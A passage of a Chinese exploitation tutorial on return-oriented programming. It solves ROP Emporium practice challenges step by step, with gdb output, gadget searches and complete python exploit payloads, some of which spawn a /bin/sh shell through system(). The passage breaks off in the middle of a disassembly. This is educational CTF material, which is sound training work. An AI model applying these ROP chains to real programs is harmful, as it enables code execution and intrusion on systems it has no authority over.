3.1.4 返回导向编程(ROP)

ROP 简介

返回导向编程(Return-Oriented Programming,缩写:ROP)是一种高级的内存攻击技术,该技术允许攻击者在现代操作系统的各种通用防御下执行代码,如内存不可执行和代码签名等。这类攻击往往利用操作堆栈调用时的程序漏洞,通常是缓冲区溢出。攻击者控制堆栈调用以劫持程序控制流并执行针对性的机器语言指令序列(gadgets),每一段 gadget 通常以 return 指令(ret,机器码为c3)结束,并位于共享库代码中的子程序中。通过执行这些指令序列,也就控制了程序的执行。

ret 指令相当于 pop eip。即,首先将 esp 指向的 4 字节内容读取并赋值给 eip,然后 esp 加上 4 字节指向栈的下一个位置。如果当前执行的指令序列仍然以 ret 指令结束,则这个过程将重复, esp 再次增加并且执行下一个指令序列。

寻找 gadgets

  1. 在程序中寻找所有的 c3(ret) 字节
  2. 向前搜索,看前面的字节是否包含一个有效指令,这里可以指定最大搜索字节数,以获得不同长度的 gadgets
  3. 记录下我们找到的所有有效指令序列

理论上我们是可以这样寻找 gadgets 的,但实际上有很多工具可以完成这个工作,如 ROPgadget,Ropper 等。更完整的搜索可以使用 http://ropshell.com/

常用的 gadgets

对于 gadgets 能做的事情,基本上只要你敢想,它就敢执行。下面简单介绍几种用法:

  • 保存栈数据到寄存器
    • 将栈顶的数据抛出并保存到寄存器中,然后跳转到新的栈顶地址。所以当返回地址被一个 gadgets 的地址覆盖,程序将在返回后执行该指令序列。
    • 如:pop eax; ret
  • 保存内存数据到寄存器
    • 将内存地址处的数据加载到内存器中。
    • 如:mov ecx,[eax]; ret
  • 保存寄存器数据到内存
    • 将寄存器的值保存到内存地址处。
    • 如:mov [eax],ecx; ret
  • 算数和逻辑运算
    • add, sub, mul, xor 等。
    • 如:add eax,ebx; ret, xor edx,edx; ret
  • 系统调用
    • 执行内核中断
    • 如:int 0x80; ret, call gs:[0x10]; ret
  • 会影响栈帧的 gadgets
    • 这些 gadgets 会改变 ebp 的值,从而影响栈帧,在一些操作如 stack pivot 时我们需要这样的指令来转移栈帧。
    • 如:leave; ret, pop ebp; ret

ROP Emporium

ROP Emporium 提供了一系列用于学习 ROP 的挑战,每一个挑战都介绍了一个知识,难度也逐渐增加,是循序渐进学习 ROP 的好资料。ROP Emporium 还有个特点是它专注于 ROP,所有挑战都有相同的漏洞点,不同的只是 ROP 链构造的不同,所以不涉及其他的漏洞利用和逆向的内容。每个挑战都包含了 32 位和 64 位的程序,通过对比能帮助我们理解 ROP 链在不同体系结构下的差异,例如参数的传递等。这篇文章我们就从这些挑战中来学习吧。

这些挑战都包含一个 flag.txt 的文件,我们的目标就是通过控制程序执行,来打印出文件中的内容。当然你也可以尝试获得 shell。

下载文件

ret2win32

通常情况下,对于一个有缓冲区溢出的程序,我们通常先输入一定数量的字符填满缓冲区,然后是精心构造的 ROP 链,通过覆盖堆栈上保存的返回地址来实现函数跳转(关于缓冲区溢出请查看上一章 3.1.3栈溢出)。

第一个挑战我会尽量详细一点,因为所有挑战程序都有相似的结构,缓冲区大小都一样,我们看一下漏洞函数:

  1. gdb-peda$ disassemble pwnme
  2. Dump of assembler code for function pwnme:
  3. 0x080485f6 <+0>: push ebp
  4. 0x080485f7 <+1>: mov ebp,esp
  5. 0x080485f9 <+3>: sub esp,0x28
  6. 0x080485fc <+6>: sub esp,0x4
  7. 0x080485ff <+9>: push 0x20
  8. 0x08048601 <+11>: push 0x0
  9. 0x08048603 <+13>: lea eax,[ebp-0x28]
  10. 0x08048606 <+16>: push eax
  11. 0x08048607 <+17>: call 0x8048460 <memset@plt>
  12. 0x0804860c <+22>: add esp,0x10
  13. 0x0804860f <+25>: sub esp,0xc
  14. 0x08048612 <+28>: push 0x804873c
  15. 0x08048617 <+33>: call 0x8048420 <puts@plt>
  16. 0x0804861c <+38>: add esp,0x10
  17. 0x0804861f <+41>: sub esp,0xc
  18. 0x08048622 <+44>: push 0x80487bc
  19. 0x08048627 <+49>: call 0x8048420 <puts@plt>
  20. 0x0804862c <+54>: add esp,0x10
  21. 0x0804862f <+57>: sub esp,0xc
  22. 0x08048632 <+60>: push 0x8048821
  23. 0x08048637 <+65>: call 0x8048400 <printf@plt>
  24. 0x0804863c <+70>: add esp,0x10
  25. 0x0804863f <+73>: mov eax,ds:0x804a060
  26. 0x08048644 <+78>: sub esp,0x4
  27. 0x08048647 <+81>: push eax
  28. 0x08048648 <+82>: push 0x32
  29. 0x0804864a <+84>: lea eax,[ebp-0x28]
  30. 0x0804864d <+87>: push eax
  31. 0x0804864e <+88>: call 0x8048410 <fgets@plt>
  32. 0x08048653 <+93>: add esp,0x10
  33. 0x08048656 <+96>: nop
  34. 0x08048657 <+97>: leave
  35. 0x08048658 <+98>: ret
  36. End of assembler dump.
  37. gdb-peda$ disassemble ret2win
  38. Dump of assembler code for function ret2win:
  39. 0x08048659 <+0>: push ebp
  40. 0x0804865a <+1>: mov ebp,esp
  41. 0x0804865c <+3>: sub esp,0x8
  42. 0x0804865f <+6>: sub esp,0xc
  43. 0x08048662 <+9>: push 0x8048824
  44. 0x08048667 <+14>: call 0x8048400 <printf@plt>
  45. 0x0804866c <+19>: add esp,0x10
  46. 0x0804866f <+22>: sub esp,0xc
  47. 0x08048672 <+25>: push 0x8048841
  48. 0x08048677 <+30>: call 0x8048430 <system@plt>
  49. 0x0804867c <+35>: add esp,0x10
  50. 0x0804867f <+38>: nop
  51. 0x08048680 <+39>: leave
  52. 0x08048681 <+40>: ret
  53. End of assembler dump.

函数 pwnme() 是存在缓冲区溢出的函数,它调用 fgets() 读取任意数据,但缓冲区的大小只有 40 字节(0x0804864a <+84>: lea eax,[ebp-0x28],0x28=40),当输入大于 40 字节的数据时,就可以覆盖掉调用函数的 ebp 和返回地址:

  1. gdb-peda$ pattern_create 50
  2. 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
  3. gdb-peda$ r
  4. Starting program: /home/firmy/Desktop/rop_emporium/ret2win32/ret2win32
  5. ret2win by ROP Emporium
  6. 32bits
  7. For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
  8. What could possibly go wrong?
  9. You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
  10. > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
  11. Program received signal SIGSEGV, Segmentation fault.
  12. [----------------------------------registers-----------------------------------]
  13. EAX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
  14. EBX: 0x0
  15. ECX: 0xffffd5c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
  16. EDX: 0xf7f90860 --> 0x0
  17. ESI: 0xf7f8ee28 --> 0x1d1d30
  18. EDI: 0x0
  19. EBP: 0x41304141 ('AA0A')
  20. ESP: 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')
  21. EIP: 0x41414641 ('AFAA')
  22. EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  23. [-------------------------------------code-------------------------------------]
  24. Invalid $PC address: 0x41414641
  25. [------------------------------------stack-------------------------------------]
  26. 0000| 0xffffd5f0 --> 0xf7f80062 --> 0x41000000 ('')
  27. 0004| 0xffffd5f4 --> 0xffffd610 --> 0x1
  28. 0008| 0xffffd5f8 --> 0x0
  29. 0012| 0xffffd5fc --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10)
  30. 0016| 0xffffd600 --> 0xf7f8ee28 --> 0x1d1d30
  31. 0020| 0xffffd604 --> 0xf7f8ee28 --> 0x1d1d30
  32. 0024| 0xffffd608 --> 0x0
  33. 0028| 0xffffd60c --> 0xf7dd57c3 (<__libc_start_main+243>: add esp,0x10)
  34. [------------------------------------------------------------------------------]
  35. Legend: code, data, rodata, value
  36. Stopped reason: SIGSEGV
  37. 0x41414641 in ?? ()
  38. gdb-peda$ pattern_offset $ebp
  39. 1093681473 found at offset: 40
  40. gdb-peda$ pattern_offset $eip
  41. 1094796865 found at offset: 44

缓冲区距离 ebp 和 eip 的偏移分别为 40 和 44,这就验证了我们的假设。

通过查看程序的逻辑,虽然我们知道 .text 段中存在函数 ret2win(),但在程序执行中并没有调用到它,我们要做的就是用该函数的地址覆盖返回地址,使程序跳转到该函数中,从而打印出 flag,我们称这一类型的 ROP 为 ret2text。

还有一件重要的事情是 checksec:

  1. gdb-peda$ checksec
  2. CANARY : disabled
  3. FORTIFY : disabled
  4. NX : ENABLED
  5. PIE : disabled
  6. RELRO : Partial

这里开启了关闭了 PIE,所以 .text 的加载地址是不变的,可以直接使用 ret2win() 的地址 0x08048659

payload 如下(注这篇文章中的paylaod我会使用多种方法来写,以展示各种工具的使用):

  1. $ python2 -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32
  2. ...
  3. > Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}

ret2win

现在是 64 位程序:

  1. gdb-peda$ disassemble pwnme
  2. Dump of assembler code for function pwnme:
  3. 0x00000000004007b5 <+0>: push rbp
  4. 0x00000000004007b6 <+1>: mov rbp,rsp
  5. 0x00000000004007b9 <+4>: sub rsp,0x20
  6. 0x00000000004007bd <+8>: lea rax,[rbp-0x20]
  7. 0x00000000004007c1 <+12>: mov edx,0x20
  8. 0x00000000004007c6 <+17>: mov esi,0x0
  9. 0x00000000004007cb <+22>: mov rdi,rax
  10. 0x00000000004007ce <+25>: call 0x400600 <memset@plt>
  11. 0x00000000004007d3 <+30>: mov edi,0x4008f8
  12. 0x00000000004007d8 <+35>: call 0x4005d0 <puts@plt>
  13. 0x00000000004007dd <+40>: mov edi,0x400978
  14. 0x00000000004007e2 <+45>: call 0x4005d0 <puts@plt>
  15. 0x00000000004007e7 <+50>: mov edi,0x4009dd
  16. 0x00000000004007ec <+55>: mov eax,0x0
  17. 0x00000000004007f1 <+60>: call 0x4005f0 <printf@plt>
  18. 0x00000000004007f6 <+65>: mov rdx,QWORD PTR [rip+0x200873] # 0x601070 <stdin@@GLIBC_2.2.5>
  19. 0x00000000004007fd <+72>: lea rax,[rbp-0x20]
  20. 0x0000000000400801 <+76>: mov esi,0x32
  21. 0x0000000000400806 <+81>: mov rdi,rax
  22. 0x0000000000400809 <+84>: call 0x400620 <fgets@plt>
  23. 0x000000000040080e <+89>: nop
  24. 0x000000000040080f <+90>: leave
  25. 0x0000000000400810 <+91>: ret
  26. End of assembler dump.
  27. gdb-peda$ disassemble ret2win
  28. Dump of assembler code for function ret2win:
  29. 0x0000000000400811 <+0>: push rbp
  30. 0x0000000000400812 <+1>: mov rbp,rsp
  31. 0x0000000000400815 <+4>: mov edi,0x4009e0
  32. 0x000000000040081a <+9>: mov eax,0x0
  33. 0x000000000040081f <+14>: call 0x4005f0 <printf@plt>
  34. 0x0000000000400824 <+19>: mov edi,0x4009fd
  35. 0x0000000000400829 <+24>: call 0x4005e0 <system@plt>
  36. 0x000000000040082e <+29>: nop
  37. 0x000000000040082f <+30>: pop rbp
  38. 0x0000000000400830 <+31>: ret
  39. End of assembler dump.

首先与 32 位不同的是参数传递,64 位程序的前六个参数通过 RDI、RSI、RDX、RCX、R8 和 R9 传递。所以缓冲区大小参数通过 rdi 传递给 fgets(),大小为 32 字节。

而且由于 ret 的地址不存在,程序停在了 => 0x400810 <pwnme+91>: ret 这一步,这是因为 64 位可以使用的内存地址不能大于 0x00007fffffffffff,否则就会抛出异常。

  1. gdb-peda$ r
  2. Starting program: /home/firmy/Desktop/rop_emporium/ret2win/ret2win
  3. ret2win by ROP Emporium
  4. 64bits
  5. For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
  6. What could possibly go wrong?
  7. You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
  8. > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
  9. Program received signal SIGSEGV, Segmentation fault.
  10. [----------------------------------registers-----------------------------------]
  11. RAX: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
  12. RBX: 0x0
  13. RCX: 0x1f
  14. RDX: 0x7ffff7dd4710 --> 0x0
  15. RSI: 0x7fffffffe400 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
  16. RDI: 0x7fffffffe401 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb")
  17. RBP: 0x6141414541412941 ('A)AAEAAa')
  18. RSP: 0x7fffffffe428 ("AA0AAFAAb")
  19. RIP: 0x400810 (<pwnme+91>: ret)
  20. R8 : 0x0
  21. R9 : 0x7ffff7fb94c0 (0x00007ffff7fb94c0)
  22. R10: 0x602260 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
  23. R11: 0x246
  24. R12: 0x400650 (<_start>: xor ebp,ebp)
  25. R13: 0x7fffffffe510 --> 0x1
  26. R14: 0x0
  27. R15: 0x0
  28. EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
  29. [-------------------------------------code-------------------------------------]
  30. 0x400809 <pwnme+84>: call 0x400620 <fgets@plt>
  31. 0x40080e <pwnme+89>: nop
  32. 0x40080f <pwnme+90>: leave
  33. => 0x400810 <pwnme+91>: ret
  34. 0x400811 <ret2win>: push rbp
  35. 0x400812 <ret2win+1>: mov rbp,rsp
  36. 0x400815 <ret2win+4>: mov edi,0x4009e0
  37. 0x40081a <ret2win+9>: mov eax,0x0
  38. [------------------------------------stack-------------------------------------]
  39. 0000| 0x7fffffffe428 ("AA0AAFAAb")
  40. 0008| 0x7fffffffe430 --> 0x400062 --> 0x1f8000000000000
  41. 0016| 0x7fffffffe438 --> 0x7ffff7a41f6a (<__libc_start_main+234>: mov edi,eax)
  42. 0024| 0x7fffffffe440 --> 0x0
  43. 0032| 0x7fffffffe448 --> 0x7fffffffe518 --> 0x7fffffffe870 ("/home/firmy/Desktop/rop_emporium/ret2win/ret2win")
  44. 0040| 0x7fffffffe450 --> 0x100000000
  45. 0048| 0x7fffffffe458 --> 0x400746 (<main>: push rbp)
  46. 0056| 0x7fffffffe460 --> 0x0
  47. [------------------------------------------------------------------------------]
  48. Legend: code, data, rodata, value
  49. Stopped reason: SIGSEGV
  50. 0x0000000000400810 in pwnme ()
  51. gdb-peda$ pattern_offset $rbp
  52. 7007954260868540737 found at offset: 32
  53. gdb-peda$ pattern_offset AA0AAFAAb
  54. AA0AAFAAb found at offset: 40

re2win() 的地址为 0x0000000000400811,payload 如下:

  1. from zio import *
  2. payload = "A"*40 + l64(0x0000000000400811)
  3. io = zio('./ret2win')
  4. io.writeline(payload)
  5. io.read()

split32

这一题也是 ret2text,但这一次,我们有的是一个 usefulFunction() 函数:

  1. gdb-peda$ disassemble usefulFunction
  2. Dump of assembler code for function usefulFunction:
  3. 0x08048649 <+0>: push ebp
  4. 0x0804864a <+1>: mov ebp,esp
  5. 0x0804864c <+3>: sub esp,0x8
  6. 0x0804864f <+6>: sub esp,0xc
  7. 0x08048652 <+9>: push 0x8048747
  8. 0x08048657 <+14>: call 0x8048430 <system@plt>
  9. 0x0804865c <+19>: add esp,0x10
  10. 0x0804865f <+22>: nop
  11. 0x08048660 <+23>: leave
  12. 0x08048661 <+24>: ret
  13. End of assembler dump.

它调用 system() 函数,而我们要做的是给它传递一个参数,执行该参数后可以打印出 flag。

使用 radare2 中的工具 rabin2 在 .data 段中搜索字符串:

  1. $ rabin2 -z split32
  2. ...
  3. vaddr=0x0804a030 paddr=0x00001030 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt

我们发现存在字符串 /bin/cat flag.txt,这正是我们需要的,地址为 0x0804a030

下面构造 payload,这里就有两种方法,一种是直接使用调用 system() 函数的地址 0x08048657,另一种是使用 system() 的 plt 地址 0x8048430,在前面的章节中我们已经知道了 plt 的延迟绑定机制(1.5.6动态链接),这里我们再回顾一下:

绑定前:

  1. gdb-peda$ disassemble system
  2. Dump of assembler code for function system@plt:
  3. 0x08048430 <+0>: jmp DWORD PTR ds:0x804a018
  4. 0x08048436 <+6>: push 0x18
  5. 0x0804843b <+11>: jmp 0x80483f0
  6. gdb-peda$ x/5x 0x804a018
  7. 0x804a018: 0x08048436 0x08048446 0x08048456 0x08048466
  8. 0x804a028: 0x00000000

绑定后:

  1. gdb-peda$ disassemble system
  2. Dump of assembler code for function system:
  3. 0xf7df9c50 <+0>: sub esp,0xc
  4. 0xf7df9c53 <+3>: mov eax,DWORD PTR [esp+0x10]
  5. 0xf7df9c57 <+7>: call 0xf7ef32cd <__x86.get_pc_thunk.dx>
  6. 0xf7df9c5c <+12>: add edx,0x1951cc
  7. 0xf7df9c62 <+18>: test eax,eax
  8. 0xf7df9c64 <+20>: je 0xf7df9c70 <system+32>
  9. 0xf7df9c66 <+22>: add esp,0xc
  10. 0xf7df9c69 <+25>: jmp 0xf7df9700 <do_system>
  11. 0xf7df9c6e <+30>: xchg ax,ax
  12. 0xf7df9c70 <+32>: lea eax,[edx-0x57616]
  13. 0xf7df9c76 <+38>: call 0xf7df9700 <do_system>
  14. 0xf7df9c7b <+43>: test eax,eax
  15. 0xf7df9c7d <+45>: sete al
  16. 0xf7df9c80 <+48>: add esp,0xc
  17. 0xf7df9c83 <+51>: movzx eax,al
  18. 0xf7df9c86 <+54>: ret
  19. End of assembler dump.
  20. gdb-peda$ x/5x 0x08048430
  21. 0x8048430 <system@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0
  22. 0x8048440 <__libc_start_main@plt>: 0xa01c25ff

其实这里讲 plt 不是很确切,因为 system 使用太频繁,在我们使用它之前,它就已经绑定了,在后面的挑战中我们会遇到没有绑定的情况。

两种 payload 如下:

  1. $ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32
  2. ...
  3. > ROPE{a_placeholder_32byte_flag!}
  1. from zio import *
  2. payload = "A"*44
  3. payload += l32(0x08048430)
  4. payload += "BBBB"
  5. payload += l32(0x0804a030)
  6. io = zio('./split32')
  7. io.writeline(payload)
  8. io.read()

注意 “BBBB” 是新的返回地址,如果函数 ret,就会执行 “BBBB” 处的指令,通常这里会放置一些 pop;pop;ret 之类的指令地址,以平衡堆栈。从 system() 函数中也能看出来,它现将 esp 减去 0xc,再取地址 esp+0x10 处的指令,也就是 “BBBB” 的后一个,即字符串的地址。因为 system() 是 libc 中的函数,所以这种方法称作 ret2libc。

split

  1. $ rabin2 -z split
  2. ...
  3. vaddr=0x00601060 paddr=0x00001060 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt

字符串地址在 0x00601060

  1. gdb-peda$ disassemble usefulFunction
  2. Dump of assembler code for function usefulFunction:
  3. 0x0000000000400807 <+0>: push rbp
  4. 0x0000000000400808 <+1>: mov rbp,rsp
  5. 0x000000000040080b <+4>: mov edi,0x4008ff
  6. 0x0000000000400810 <+9>: call 0x4005e0 <system@plt>
  7. 0x0000000000400815 <+14>: nop
  8. 0x0000000000400816 <+15>: pop rbp
  9. 0x0000000000400817 <+16>: ret
  10. End of assembler dump.

64 位程序的第一个参数通过 edi 传递,所以我们需要再调用一个 gadgets 来将字符串的地址存进 edi。

我们先找到需要的 gadgets:

  1. gdb-peda$ ropsearch "pop rdi; ret"
  2. Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
  3. 0x00400883 : (b'5fc3') pop rdi; ret

下面是 payload:

  1. $ python2 -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split
  2. ...
  3. > ROPE{a_placeholder_32byte_flag!}

那我们是否还可以用前面那种方法调用 system() 的 plt 地址 0x4005e0 呢:

  1. gdb-peda$ disassemble system
  2. Dump of assembler code for function system:
  3. 0x00007ffff7a63010 <+0>: test rdi,rdi
  4. 0x00007ffff7a63013 <+3>: je 0x7ffff7a63020 <system+16>
  5. 0x00007ffff7a63015 <+5>: jmp 0x7ffff7a62a70 <do_system>
  6. 0x00007ffff7a6301a <+10>: nop WORD PTR [rax+rax*1+0x0]
  7. 0x00007ffff7a63020 <+16>: lea rdi,[rip+0x138fd6] # 0x7ffff7b9bffd
  8. 0x00007ffff7a63027 <+23>: sub rsp,0x8
  9. 0x00007ffff7a6302b <+27>: call 0x7ffff7a62a70 <do_system>
  10. 0x00007ffff7a63030 <+32>: test eax,eax
  11. 0x00007ffff7a63032 <+34>: sete al
  12. 0x00007ffff7a63035 <+37>: add rsp,0x8
  13. 0x00007ffff7a63039 <+41>: movzx eax,al
  14. 0x00007ffff7a6303c <+44>: ret
  15. End of assembler dump.

依然可以,因为参数的传递没有用到栈,我们只需把地址直接更改就可以了:

  1. from zio import *
  2. payload = "A"*40
  3. payload += l64(0x00400883)
  4. payload += l64(0x00601060)
  5. payload += l64(0x4005e0)
  6. io = zio('./split')
  7. io.writeline(payload)
  8. io.read()

callme32

这里我们要接触真正的 plt 了,根据题目提示,callme32 从共享库 libcallme32.so 中导入三个特殊的函数:

  1. $ rabin2 -i callme32 | grep callme
  2. ordinal=004 plt=0x080485b0 bind=GLOBAL type=FUNC name=callme_three
  3. ordinal=005 plt=0x080485c0 bind=GLOBAL type=FUNC name=callme_one
  4. ordinal=012 plt=0x08048620 bind=GLOBAL type=FUNC name=callme_two

我们要做的是依次调用 callme_one()callme_two()callme_three(),并且每个函数都要传入参数 123。通过调试我们能够知道函数逻辑,callme_one 用于读入加密后的 flag,然后依次调用 callme_twocallme_three 进行解密。

由于函数参数是放在栈上的,为了平衡堆栈,我们需要一个 pop;pop;pop;ret 的 gadgets:

  1. $ objdump -d callme32 | grep -A 3 pop
  2. ...
  3. 80488a8: 5b pop %ebx
  4. 80488a9: 5e pop %esi
  5. 80488aa: 5f pop %edi
  6. 80488ab: 5d pop %ebp
  7. 80488ac: c3 ret
  8. 80488ad: 8d 76 00 lea 0x0(%esi),%esi
  9. ...

或者是 add esp, 8; pop; ret,反正只要能平衡,都可以:

  1. gdb-peda$ ropsearch "add esp, 8"
  2. Searching for ROP gadget: 'add esp, 8' in: binary ranges
  3. 0x08048576 : (b'83c4085bc3') add esp,0x8; pop ebx; ret
  4. 0x080488c3 : (b'83c4085bc3') add esp,0x8; pop ebx; ret

构造 payload 如下:

  1. from zio import *
  2. payload = "A"*44
  3. payload += l32(0x080485c0)
  4. payload += l32(0x080488a9)
  5. payload += l32(0x1) + l32(0x2) + l32(0x3)
  6. payload += l32(0x08048620)
  7. payload += l32(0x080488a9)
  8. payload += l32(0x1) + l32(0x2) + l32(0x3)
  9. payload += l32(0x080485b0)
  10. payload += l32(0x080488a9)
  11. payload += l32(0x1) + l32(0x2) + l32(0x3)
  12. io = zio('./callme32')
  13. io.writeline(payload)
  14. io.read()

callme

64 位程序不需要平衡堆栈了,只要将参数按顺序依次放进寄存器中就可以了。

  1. $ rabin2 -i callme | grep callme
  2. ordinal=004 plt=0x00401810 bind=GLOBAL type=FUNC name=callme_three
  3. ordinal=008 plt=0x00401850 bind=GLOBAL type=FUNC name=callme_one
  4. ordinal=011 plt=0x00401870 bind=GLOBAL type=FUNC name=callme_two
  1. gdb-peda$ ropsearch "pop rdi; pop rsi"
  2. Searching for ROP gadget: 'pop rdi; pop rsi' in: binary ranges
  3. 0x00401ab0 : (b'5f5e5ac3') pop rdi; pop rsi; pop rdx; ret

payload 如下:

  1. from zio import *
  2. payload = "A"*40
  3. payload += l64(0x00401ab0)
  4. payload += l64(0x1) + l64(0x2) + l64(0x3)
  5. payload += l64(0x00401850)
  6. payload += l64(0x00401ab0)
  7. payload += l64(0x1) + l64(0x2) + l64(0x3)
  8. payload += l64(0x00401870)
  9. payload += l64(0x00401ab0)
  10. payload += l64(0x1) + l64(0x2) + l64(0x3)
  11. payload += l64(0x00401810)
  12. io = zio('./callme')
  13. io.writeline(payload)
  14. io.read()

write432

这一次,我们已经不能在程序中找到可以执行的语句了,但我们可以利用 gadgets 将 /bin/sh 写入到目标进程的虚拟内存空间中,如 .data 段中,再调用 system() 执行它,从而拿到 shell。要认识到一个重要的点是,ROP 只是一种任意代码执行的形式,只要我们有创意,就可以利用它来执行诸如内存读写等操作。

这种方法虽然好用,但还是要考虑我们写入地址的读写和执行权限,以及它能提供的空间是多少,我们写入的内容是否会影响到程序执行等问题。如我们接下来想把字符串写入 .data 段,我们看一下它的权限和大小等信息:

  1. $ readelf -S write432
  2. [Nr] Name Type Addr Off Size ES Flg Lk Inf Al
  3. ...
  4. [16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4
  5. [25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4

可以看到 .data 具有 WA,即写入(write)和分配(alloc)的权利,而 .rodata 就不能写入。

使用工具 ropgadget 可以很方便地找到我们需要的 gadgets:

  1. $ ropgadget --binary write432 --only "mov|pop|ret"
  2. ...
  3. 0x08048670 : mov dword ptr [edi], ebp ; ret
  4. 0x080486da : pop edi ; pop ebp ; ret

另外需要注意的是,我们这里是 32 位程序,每次只能写入 4 个字节,所以要分成两次写入,还得注意字符对齐,有没有截断字符(\x00,\x0a等)之类的问题,比如这里 /bin/sh 只有七个字节,我们可以使用 /bin/sh\00 或者 /bin//sh,构造 payload 如下:

  1. from zio import *
  2. pop_edi_ebp = 0x080486da
  3. mov_edi_ebp = 0x08048670
  4. data_addr = 0x804a028
  5. system_plt = 0x8048430
  6. payload = ""
  7. payload += "A"*44
  8. payload += l32(pop_edi_ebp)
  9. payload += l32(data_addr)
  10. payload += "/bin"
  11. payload += l32(mov_edi_ebp)
  12. payload += l32(pop_edi_ebp)
  13. payload += l32(data_addr+4)
  14. payload += "/sh\x00"
  15. payload += l32(mov_edi_ebp)
  16. payload += l32(system_plt)
  17. payload += "BBBB"
  18. payload += l32(data_addr)
  19. io = zio('./write432')
  20. io.writeline(payload)
  21. io.interact()
  1. $ python2 run.py
  2. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(/binp,/shp0BBBB(�
  3. write4 by ROP Emporium
  4. 32bits
  5. Go ahead and give me the string already!
  6. > cat flag.txt
  7. ROPE{a_placeholder_32byte_flag!}

write4

64 位程序就可以一次性写入了。

  1. $ ropgadget --binary write4 --only "mov|pop|ret"
  2. ...
  3. 0x0000000000400820 : mov qword ptr [r14], r15 ; ret
  4. 0x0000000000400890 : pop r14 ; pop r15 ; ret
  5. 0x0000000000400893 : pop rdi ; ret
  1. from pwn import *
  2. pop_r14_r15 = 0x0000000000400890
  3. mov_r14_r15 = 0x0000000000400820
  4. pop_rdi = 0x0000000000400893
  5. data_addr = 0x0000000000601050
  6. system_plt = 0x004005e0
  7. payload = "A"*40
  8. payload += p64(pop_r14_r15)
  9. payload += p64(data_addr)
  10. payload += "/bin/sh\x00"
  11. payload += p64(mov_r14_r15)
  12. payload += p64(pop_rdi)
  13. payload += p64(data_addr)
  14. payload += p64(system_plt)
  15. io = process('./write4')
  16. io.recvuntil('>')
  17. io.sendline(payload)
  18. io.interactive()

badchars32

在这个挑战中,我们依然要将 /bin/sh 写入到进程内存中,但这一次程序在读取输入时会对敏感字符进行检查,查看函数 checkBadchars()

  1. gdb-peda$ disassemble checkBadchars
  2. Dump of assembler code for function checkBadchars:
  3. 0x08048801 <+0>: push ebp
  4. 0x08048802 <+1>: mov ebp,esp
  5. 0x08048804 <+3>: sub esp,0x10
  6. 0x08048807 <+6>: mov BYTE PTR [ebp-0x10],0x62
  7. 0x0804880b <+10>: mov BYTE PTR [ebp-0xf],0x69
  8. 0x0804880f <+14>: mov BYTE PTR [ebp-0xe],0x63
  9. 0x08048813 <+18>: mov BYTE PTR [ebp-0xd],0x2f
  10. 0x08048817 <+22>: mov BYTE PTR [ebp-0xc],0x20
  11. 0x0804881b <+26>: mov BYTE PTR [ebp-0xb],0x66
  12. 0x0804881f <+30>: mov BYTE PTR [ebp-0xa],0x6e
  13. 0x08048823 <+34>: mov BYTE PTR [ebp-0x9],0x73
  14. 0x08048827 <+38>: mov DWORD PTR [ebp-0x4],0x0
  15. 0x0804882e <+45>: mov DWORD PTR [ebp-0x8],0x0
  16. 0x08048835 <+52>: mov DWORD PTR [ebp-0x4],0x0
  17. 0x0804883c <+59>: jmp 0x804887c <checkBadchars+123>
  18. 0x0804883e <+61>: mov DWORD PTR [ebp-0x8],0x0
  19. 0x08048845 <+68>: jmp 0x8048872 <checkBadchars+113>
  20. 0x08048847 <+70>: mov edx,DWORD PTR [ebp+0x8]
  21. 0x0804884a <+73>: mov eax,DWORD PTR [ebp-0x4]
  22. 0x0804884d <+76>: add eax,edx
  23. 0x0804884f <+78>: movzx edx,BYTE PTR [eax]
  24. 0x08048852 <+81>: lea ecx,[ebp-0x10]
  25. 0x08048855 <+84>: mov eax,DWORD PTR [ebp-0x8]
  26. 0x08048858 <+87>: add eax,ecx
  27. 0x0804885a <+89>: movzx eax,BYTE PTR [eax]
  28. 0x0804885d <+92>: cmp dl,al
  29. 0x0804885f <+94>: jne 0x804886e <checkBadchars+109>
  30. 0x08048861 <+96>: mov edx,DWORD PTR [ebp+0x8]
  31. 0x08048864 <+99>: mov eax,DWORD PTR [ebp-0x4]
  32. 0x08048867 <+102>: add eax,edx
  33. 0x08048869 <+104>: mov BYTE PTR [eax],0xeb
  34. 0x0804886c <+107>: jmp 0x8048878 <checkBadchars+119>
  35. 0x0804886e <+109>: add DWORD PTR [ebp-0x8],0x1
  36. 0x08048872 <+113>: cmp DWORD PTR [ebp-0x8],0x7
  37. 0x08048876 <+117>: jbe 0x8048847 <checkBadchars+70>
